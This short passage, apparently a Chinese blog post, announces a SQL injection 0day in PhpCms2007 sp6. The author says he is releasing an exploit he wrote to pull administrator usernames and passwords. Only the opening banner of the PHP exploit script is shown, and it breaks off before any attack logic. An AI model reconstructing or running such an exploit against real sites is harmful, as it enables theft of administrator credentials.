Oct
1
PhpCms2007 sp6 SQL injection 0day
这个漏洞是我8月份发现的，当时写的exp只是get管理员的账号密码；但现在这个漏洞已经被他人发现并且公布，而且有了update管理员密码的利用，因此我公布我当时写的这个exp，庆祝国庆~
<?
print_r('
--------------------------------------------------------------------------------
PhpCms2007 sp6 "digg" SQL injection/admin credentials disclosure exploit
BY oldjun(www.oldjun.com)
Thx for flyh4t^_^
--------------------------------------------------------------------------------
');
if ($argc
